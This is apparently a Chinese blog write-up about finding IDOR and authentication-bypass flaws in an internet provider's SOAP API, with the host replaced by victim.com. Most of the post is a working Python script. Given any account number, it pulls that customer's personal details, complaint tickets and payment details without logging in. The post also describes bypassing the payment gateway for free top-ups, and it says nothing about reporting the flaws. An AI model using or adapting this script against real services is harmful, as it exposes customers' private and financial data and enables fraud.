如何黑入我的互联网服务提供商并实现攻击自动化(以学习为目的)
我将使用victim.com作为网站名称,因为我不能透露真实名称。
那是一个平常的日子,我正在寻找一些好的互联网套餐,因为我当前的套餐已经到期。在查看互联网套餐时,我的浏览器连接着Burp Suite,我注意到Burp历史记录中的HTTP流量,发现了一些神秘的端点,还找到了网站的API文档链接。
于是我查看了文档,并开始对API参数进行模糊测试。在花费10-15分钟进行参数模糊测试后,我发现了IDOR(不安全的直接对象引用)漏洞,能够查看任何用户的个人信息。
接着我继续阅读API文档,又在应用程序中发现了多个IDOR漏洞:我能够查看投诉详情,能够以任何用户身份注册投诉,能够重置任何用户的MAC地址。然后我发现了最关键的问题:我能够查看任何用户的支付详情,还能够绕过应用程序的支付网关,实现免费充值。
但此时如果我想要执行此攻击,仍然需要登录我的账户。所以场景仍然有限,我想让这个攻击变得更加关键。于是我又开始阅读认证API文档,发现我能够绕过API认证,无需任何认证即可调用API。
不过,如果我想执行此攻击,仍然需要手动在Burp中拦截流量,并更改不同的API端点来获取这些信息。这有点无聊,所以我决定自动化这个攻击,为此我编写了一个小的Python脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
import requests, sys
import xml.etree.ElementTree as ET
uservalue = sys.argv[1]
def details(uservalue):
xml = """<?xml version="1.0" encoding="utf-8" standalone="no"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<victimDetail xmlns="http://victim.com/">
<victimAccNo>{0}</victimAccNo>
</victimCustomerDetail>
</soap:Body>
</soap:Envelope>"""
xml = xml.format(uservalue)
headers = {
'Content-Type': 'text/xml',
'SOAPAction' : 'http://victim.com'
}
body = requests.post('http://victim.com', data=xml, headers=headers).text
xml_parsed = ET.fromstring(body)
root = xml_parsed[0][0][0][1][0][0]
print("-----------------#################### User Details #######################------------------")
for element in root:
print(element.tag, '\t\t:\t\t', element.text)
print
def complaint_ticket(uservalue):
xml = """<?xml version="1.0" encoding="utf-8" standalone="no"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<victimTicketDetail xmlns="http://victim.com">
<victim>{0}</victim>
<FromDate>01/01/2016</FromDate>
<ToDate>31/12/2018</ToDate>
</victimBBTicketDetail>
</soap:Body>
</soap:Envelope>"""
xml = xml.format(uservalue)
headers = {
'Content-Type': 'text/xml',
'SOAPAction' : 'http://victim.com'
}
body = requests.post('http://victim.com', data=xml, headers=headers).text
xml_parsed = ET.fromstring(body)
root = xml_parsed[0][0][0][1][0][0]
print("-----------------#################### Complaint Tickets of User #######################------------------")
for element in root:
print(element.tag, '\t\t:\t\t', element.text)
print
def payment_details(uservalue):
xml = """<?xml version="1.0" encoding="utf-8" standalone="no"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<victimPayment xmlns="http://victim.com">
<victimID>{0}</victimID>
</victimPayment>
</soap:Body>
</soap:Envelope>"""
xml = xml.format(uservalue)
headers = {
'Content-Type': 'text/xml',
'SOAPAction' : 'http://victim.com'
}
body = requests.post('http://victim.com', data=xml, headers=headers).text
xml_parsed = ET.fromstring(body)
root = xml_parsed[0][0][0][1][0][0]
print("-----------------#################### Payment Details of User #######################------------------")
for element in root:
print(element.tag, '\t\t:\t\t', element.text)
print
details(uservalue)
complaint_ticket(uservalue)
payment_details(uservalue)
|
现在自动化已经完成,我只需要运行Python脚本并提供一个参数,它就能获取任何用户的所有敏感信息。
感谢大家的阅读。祝大家有美好的一天! cheers! :)